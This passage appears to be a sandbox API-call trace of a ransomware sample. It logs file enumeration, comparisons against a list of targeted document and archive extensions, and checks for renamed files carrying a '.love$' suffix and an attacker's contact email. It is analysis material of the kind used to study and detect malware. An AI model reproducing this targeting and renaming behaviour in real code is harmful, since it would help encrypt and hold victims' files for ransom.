WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0270.384] GetTickCount () returned 0x114cb60 [0270.384] GetTickCount () returned 0x114cb60 [0270.384] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0270.690] GetTickCount () returned 0x114cc88 [0270.690] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0271.046] GetTickCount () returned 0x114cdf0 [0271.046] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0271.237] GetTickCount () returned 0x114ceab [0271.237] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0271.741] GetTickCount () returned 0x114d0af [0271.741] GetTickCount () returned 0x114d0af [0271.741] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0272.013] GetTickCount () returned 0x114d1b9 [0272.013] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0272.433] GetTickCount () returned 0x114d35e [0272.433] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0272.822] GetTickCount () returned 0x114d4e5 [0272.822] GetTickCount () returned 0x114d4e5 [0272.822] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0273.135] GetTickCount () returned 0x114d60e [0273.135] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0273.568] GetTickCount () returned 0x114d7c3 [0273.568] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0273.800] GetTickCount () returned 0x114d8ae [0273.800] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0274.276] GetTickCount () returned 0x114da83 [0274.276] GetTickCount () returned 0x114da83 [0274.276] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0274.501] GetTickCount () returned 0x114db6d [0274.501] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0274.798] GetTickCount () returned 0x114dc96 [0274.798] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0274.929] GetTickCount () returned 0x114dd13 [0274.929] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0275.393] GetTickCount () returned 0x114dee8 [0275.410] GetTickCount () returned 0x114def7 [0275.410] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0275.899] GetTickCount () returned 0x114e0dc [0275.900] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0276.431] GetTickCount () returned 0x114e2fe [0276.431] GetTickCount () returned 0x114e2fe [0276.431] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0276.660] GetTickCount () returned 0x114e3d9 [0276.660] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0276.885] GetTickCount () returned 0x114e4b4 [0276.885] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0277.174] GetTickCount () returned 0x114e5dd [0277.174] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0277.307] GetTickCount () returned 0x114e65a [0277.307] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0277.414] GetTickCount () returned 0x114e6c7 [0277.414] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0277.523] GetTickCount () returned 0x114e735 [0277.523] GetTickCount () returned 0x114e735 [0277.523] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0277.626] GetTickCount () returned 0x114e7a2 [0277.626] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0277.736] GetTickCount () returned 0x114e80f [0277.736] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0277.850] GetTickCount () returned 0x114e87d [0277.850] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0277.980] GetTickCount () returned 0x114e8fa [0277.980] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0278.079] GetTickCount () returned 0x114e967 [0278.079] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0278.189] GetTickCount () returned 0x114e9d4 [0278.189] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0278.298] GetTickCount () returned 0x114ea42 [0278.298] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0278.410] GetTickCount () returned 0x114eaaf [0278.410] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0278.537] GetTickCount () returned 0x114eb2c [0278.537] GetTickCount () returned 0x114eb2c [0278.537] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0278.641] GetTickCount () returned 0x114eb9a [0278.641] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0278.761] GetTickCount () returned 0x114ec07 [0278.761] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0278.876] GetTickCount () returned 0x114ec84 [0278.876] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0280.509] GetTickCount () returned 0x114f2dd [0280.509] GetTickCount () returned 0x114f2dd [0280.509] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0280.984] GetTickCount () returned 0x114f4b2 [0280.984] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0281.124] GetTickCount () returned 0x114f53e [0281.124] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0281.402] GetTickCount () returned 0x114f658 [0281.402] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0281.599] GetTickCount () returned 0x114f723 [0281.599] GetTickCount () returned 0x114f723 [0281.599] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0281.855] GetTickCount () returned 0x114f81d [0281.855] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0282.015] GetTickCount () returned 0x114f8b9 [0282.015] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x102 [0282.296] GetTickCount () returned 0x114f9d2 [0282.296] WaitForSingleObject (hHandle=0x28c, dwMilliseconds=0x64) returned 0x0 [0282.319] WaitForMultipleObjects (nCount=0x4, lpHandles=0x284ff5c*=0x280, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0282.419] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4f40020 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6adde0 | out: hHeap=0x670000) returned 1 [0282.424] lstrlenW (lpString=".love$") returned 6 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9e50 | out: hHeap=0x670000) returned 1 [0282.424] lstrlenW (lpString=".[im.online@aol.com]") returned 20 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6877d8 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6add20 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9b80 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9e08 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9bc8 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9b98 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9be0 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9bf8 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6add60 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9c88 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9c28 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9d18 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6adce0 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6addf0 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9d30 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6add80 | out: hHeap=0x670000) returned 1 [0282.424] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9d78 | out: hHeap=0x670000) returned 1 [0282.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6adcc0 | out: hHeap=0x670000) returned 1 [0282.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6f9d90 | out: hHeap=0x670000) returned 1 [0282.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad908 | out: hHeap=0x670000) returned 1 [0282.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ada48 | out: hHeap=0x670000) returned 1 [0282.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x688d50 | out: hHeap=0x670000) returned 1 [0282.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x68bf08 | out: hHeap=0x670000) returned 1 [0282.425] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6b4fc8 | out: hHeap=0x670000) returned 1 [0282.426] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x685658 | out: hHeap=0x670000) returned 1 [0282.426] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113c80 [0282.426] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113c80, Size=0x20) returned 0x41aac90 [0282.426] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x4113bd8 [0282.426] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4113bd8, Size=0x20) returned 0x41aadf8 [0282.426] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0282.426] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0282.426] Wow64DisableWow64FsRedirection (in: OldValue=0x284ff7c | out: OldValue=0x284ff7c*=0x1) returned 1 [0282.426] lstrlenW (lpString="kernel32.dll") returned 12 [0282.426] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aadf8 | out: hHeap=0x670000) returned 1 [0282.426] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0282.426] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41aac90 | out: hHeap=0x670000) returned 1 Thread: id = 36 os_tid = 0xdc8 [0222.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x3271e10 [0222.709] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10000) returned 0x3281e18 [0222.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5118 [0222.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x6) returned 0x70c200 [0222.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c52b0 [0222.710] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x100000) returned 0x3b98020 [0222.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5130 [0222.713] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5130, Size=0x20) returned 0x6ad6d8 [0222.713] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6c5130 [0222.713] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6c5130, Size=0x20) returned 0x6ad598 [0222.713] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76dc0000 [0222.713] GetProcAddress (hModule=0x76dc0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76dd6b30 [0222.713] Wow64DisableWow64FsRedirection (in: OldValue=0x298ff50 | out: OldValue=0x298ff50*=0x0) returned 1 [0222.714] lstrlenW (lpString="kernel32.dll") returned 12 [0222.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad6d8 | out: hHeap=0x670000) returned 1 [0222.714] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0222.714] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6ad598 | out: hHeap=0x670000) returned 1 [0222.714] Sleep (dwMilliseconds=0x64) [0223.079] Sleep (dwMilliseconds=0x64) [0223.281] Sleep (dwMilliseconds=0x64) [0223.565] Sleep (dwMilliseconds=0x64) [0223.791] Sleep (dwMilliseconds=0x64) [0224.019] Sleep (dwMilliseconds=0x64) [0224.336] lstrcmpiW (lpString1=".xml", lpString2=".love$") returned 1 [0224.336] lstrlenW (lpString="Alphabet.xml") returned 12 [0224.336] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.361] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=791421) returned 1 [0224.361] CloseHandle (hObject=0x3c4) returned 1 [0224.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0224.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.362] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.362] lstrlenW (lpString=".doc") returned 4 [0224.362] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.362] lstrlenW (lpString=".docx") returned 5 [0224.362] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0224.362] lstrlenW (lpString=".pdf") returned 4 [0224.362] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.362] lstrlenW (lpString=".xls") returned 4 [0224.362] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.362] lstrlenW (lpString=".xlsx") returned 5 [0224.362] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0224.362] lstrlenW (lpString=".ppt") returned 4 [0224.362] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.362] lstrlenW (lpString=".zip") returned 4 [0224.362] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.362] lstrlenW (lpString=".rar") returned 4 [0224.362] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.362] lstrlenW (lpString=".bz2") returned 4 [0224.362] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.362] lstrlenW (lpString=".7z") returned 3 [0224.362] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.363] lstrlenW (lpString=".dbf") returned 4 [0224.363] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.363] lstrlenW (lpString=".1cd") returned 4 [0224.363] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.363] lstrlenW (lpString=".jpg") returned 4 [0224.363] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.363] lstrlenW (lpString=".doc") returned 4 [0224.363] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0224.363] lstrlenW (lpString=".docx") returned 5 [0224.363] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0224.363] lstrlenW (lpString=".pdf") returned 4 [0224.363] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0224.363] lstrlenW (lpString=".xls") returned 4 [0224.363] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0224.363] lstrlenW (lpString=".xlsx") returned 5 [0224.363] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0224.363] lstrlenW (lpString=".ppt") returned 4 [0224.363] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0224.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.363] lstrlenW (lpString=".zip") returned 4 [0224.363] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0224.363] lstrlenW (lpString=".rar") returned 4 [0224.363] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0224.363] lstrlenW (lpString=".bz2") returned 4 [0224.364] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0224.364] lstrlenW (lpString=".7z") returned 3 [0224.364] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0224.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.364] lstrlenW (lpString=".dbf") returned 4 [0224.364] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0224.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.364] lstrlenW (lpString=".1cd") returned 4 [0224.364] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0224.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\Alphabet.xml") returned 63 [0224.364] lstrlenW (lpString=".jpg") returned 4 [0224.364] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0224.367] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0224.367] lstrlenW (lpString="boxed-delete.avi") returned 16 [0224.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.370] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=48936) returned 1 [0224.370] CloseHandle (hObject=0x3c4) returned 1 [0224.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0224.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.377] lstrlenW (lpString=".doc") returned 4 [0224.377] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.377] lstrlenW (lpString=".docx") returned 5 [0224.377] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0224.377] lstrlenW (lpString=".pdf") returned 4 [0224.377] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.377] lstrlenW (lpString=".xls") returned 4 [0224.377] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.377] lstrlenW (lpString=".xlsx") returned 5 [0224.377] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0224.377] lstrlenW (lpString=".ppt") returned 4 [0224.377] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.377] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.377] lstrlenW (lpString=".zip") returned 4 [0224.377] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.377] lstrlenW (lpString=".rar") returned 4 [0224.377] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.377] lstrlenW (lpString=".bz2") returned 4 [0224.377] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.377] lstrlenW (lpString=".7z") returned 3 [0224.377] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.378] lstrlenW (lpString=".dbf") returned 4 [0224.378] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.378] lstrlenW (lpString=".1cd") returned 4 [0224.378] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.378] lstrlenW (lpString=".jpg") returned 4 [0224.378] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.378] lstrlenW (lpString=".doc") returned 4 [0224.378] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.378] lstrlenW (lpString=".docx") returned 5 [0224.378] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0224.378] lstrlenW (lpString=".pdf") returned 4 [0224.378] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.378] lstrlenW (lpString=".xls") returned 4 [0224.378] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.378] lstrlenW (lpString=".xlsx") returned 5 [0224.378] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0224.378] lstrlenW (lpString=".ppt") returned 4 [0224.378] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.378] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.378] lstrlenW (lpString=".zip") returned 4 [0224.378] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.378] lstrlenW (lpString=".rar") returned 4 [0224.378] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.378] lstrlenW (lpString=".bz2") returned 4 [0224.379] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.379] lstrlenW (lpString=".7z") returned 3 [0224.379] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.379] lstrlenW (lpString=".dbf") returned 4 [0224.379] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.379] lstrlenW (lpString=".1cd") returned 4 [0224.379] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.379] lstrlenW (lpString=".jpg") returned 4 [0224.379] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.379] lstrcmpiW (lpString1=".avi", lpString2=".love$") returned -1 [0224.379] lstrlenW (lpString="delete.avi") returned 10 [0224.379] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0224.384] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=208408) returned 1 [0224.384] CloseHandle (hObject=0x3c4) returned 1 [0224.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0224.384] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0224.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0224.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0224.385] lstrlenW (lpString=".doc") returned 4 [0224.385] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.385] lstrlenW (lpString=".docx") returned 5 [0224.385] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0224.385] lstrlenW (lpString=".pdf") returned 4 [0224.385] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.385] lstrlenW (lpString=".xls") returned 4 [0224.385] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.385] lstrlenW (lpString=".xlsx") returned 5 [0224.385] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0224.385] lstrlenW (lpString=".ppt") returned 4 [0224.385] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.385] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0224.385] lstrlenW (lpString=".zip") returned 4 [0224.385] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.385] lstrlenW (lpString=".rar") returned 4 [0224.385] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.385] lstrlenW 